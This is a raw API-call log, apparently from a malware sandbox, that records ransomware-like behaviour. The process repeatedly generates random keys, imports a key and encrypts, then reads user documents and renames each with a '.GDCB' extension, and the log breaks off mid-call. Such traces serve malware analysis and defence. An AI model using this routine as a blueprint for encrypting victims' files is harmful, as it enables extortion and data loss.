[0139.225] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.225] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.225] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.225] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.225] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.225] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.225] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.227] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358858) returned 1 [0139.228] CryptGetKeyParam (in: hKey=0x358858, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.228] CryptEncrypt (in: hKey=0x358858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.228] GetLastError () returned 0x0 [0139.228] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.228] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.230] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358c58) returned 1 [0139.230] CryptGetKeyParam (in: hKey=0x358c58, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.230] CryptEncrypt (in: hKey=0x358c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.230] GetLastError () returned 0x0 [0139.230] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.230] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\J-grwbdBQV.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\j-grwbdbqv.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.231] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.232] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.232] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x3926, lpOverlapped=0x0) returned 1 [0139.243] VirtualAlloc (lpAddress=0x0, dwSize=0x3930, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.247] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\J-grwbdBQV.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\j-grwbdbqv.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\J-grwbdBQV.rtf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\j-grwbdbqv.rtf.gdcb")) returned 1 [0139.248] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0139.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.248] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.248] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.249] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.249] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0139.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.249] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.249] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.249] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0139.251] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358f58) returned 1 [0139.252] CryptGetKeyParam (in: hKey=0x358f58, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.252] CryptEncrypt (in: hKey=0x358f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.252] GetLastError () returned 0x0 [0139.252] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.252] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0139.254] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358e58) returned 1 [0139.254] CryptGetKeyParam (in: hKey=0x358e58, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.254] CryptEncrypt (in: hKey=0x358e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.254] GetLastError () returned 0x0 [0139.254] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.254] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\jMUwXrx_DL.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\jmuwxrx_dl.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.254] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.254] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.255] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x2a74, lpOverlapped=0x0) returned 1 [0139.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2a80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.270] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\jMUwXrx_DL.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\jmuwxrx_dl.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\jMUwXrx_DL.pps.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\jmuwxrx_dl.pps.gdcb")) returned 1 [0139.271] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.272] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.272] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.272] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0139.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.273] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.273] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.273] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.273] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.275] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358ed8) returned 1 [0139.275] CryptGetKeyParam (in: hKey=0x358ed8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.275] CryptEncrypt (in: hKey=0x358ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.275] GetLastError () returned 0x0 [0139.275] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.275] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.277] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358b18) returned 1 [0139.277] CryptGetKeyParam (in: hKey=0x358b18, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.277] CryptEncrypt (in: hKey=0x358b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.277] GetLastError () returned 0x0 [0139.277] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.277] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\QyXXAo4.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\qyxxao4.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.277] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.277] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.278] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x109bd, lpOverlapped=0x0) returned 1 [0139.286] VirtualAlloc (lpAddress=0x0, dwSize=0x109c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.291] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\QyXXAo4.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\qyxxao4.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\QyXXAo4.doc.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\qyxxao4.doc.gdcb")) returned 1 [0139.292] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.292] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.297] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.297] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.297] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.298] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.298] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.298] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.298] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.298] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed168) returned 1 [0139.301] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358998) returned 1 [0139.301] CryptGetKeyParam (in: hKey=0x358998, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.301] CryptEncrypt (in: hKey=0x358998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.302] GetLastError () returned 0x0 [0139.302] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0139.302] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.309] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358dd8) returned 1 [0139.309] CryptGetKeyParam (in: hKey=0x358dd8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.309] CryptEncrypt (in: hKey=0x358dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.309] GetLastError () returned 0x0 [0139.309] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.309] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\sZVcnxJx2O3Ea_92PnF.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\szvcnxjx2o3ea_92pnf.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.309] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.310] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.310] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0xf1ca, lpOverlapped=0x0) returned 1 [0139.320] VirtualAlloc (lpAddress=0x0, dwSize=0xf1d0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.326] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\sZVcnxJx2O3Ea_92PnF.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\szvcnxjx2o3ea_92pnf.ods"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\sZVcnxJx2O3Ea_92PnF.ods.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\szvcnxjx2o3ea_92pnf.ods.gdcb")) returned 1 [0139.327] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.330] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.330] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.330] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.330] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.332] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.332] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.332] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.332] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.340] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x358c98) returned 1 [0139.340] CryptGetKeyParam (in: hKey=0x358c98, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.340] CryptEncrypt (in: hKey=0x358c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.341] GetLastError () returned 0x0 [0139.341] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.341] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0139.348] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x358d58) returned 1 [0139.348] CryptGetKeyParam (in: hKey=0x358d58, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.348] CryptEncrypt (in: hKey=0x358d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.348] GetLastError () returned 0x0 [0139.348] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.348] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\y-GP 4d2ufj1t1Q8BO.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\y-gp 4d2ufj1t1q8bo.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.349] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.349] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.349] ReadFile (in: hFile=0x4e8, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f4d0*=0x19ab, lpOverlapped=0x0) returned 1 [0139.363] VirtualAlloc (lpAddress=0x0, dwSize=0x19b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.366] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\y-GP 4d2ufj1t1Q8BO.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\y-gp 4d2ufj1t1q8bo.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\y-GP 4d2ufj1t1Q8BO.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\y-gp 4d2ufj1t1q8bo.xlsx.gdcb")) returned 1 [0139.367] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.367] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.367] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.367] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.370] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.384] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0139.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.388] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0139.388] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.388] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0139.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.390] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0139.390] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.390] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0139.398] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x358a98) returned 1 [0139.398] CryptGetKeyParam (in: hKey=0x358a98, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.399] CryptEncrypt (in: hKey=0x358a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0139.399] GetLastError () returned 0x0 [0139.399] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.399] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0139.407] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x358d18) returned 1 [0139.407] CryptGetKeyParam (in: hKey=0x358d18, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.407] CryptEncrypt (in: hKey=0x358d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0139.408] GetLastError () returned 0x0 [0139.408] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.408] CreateFileW 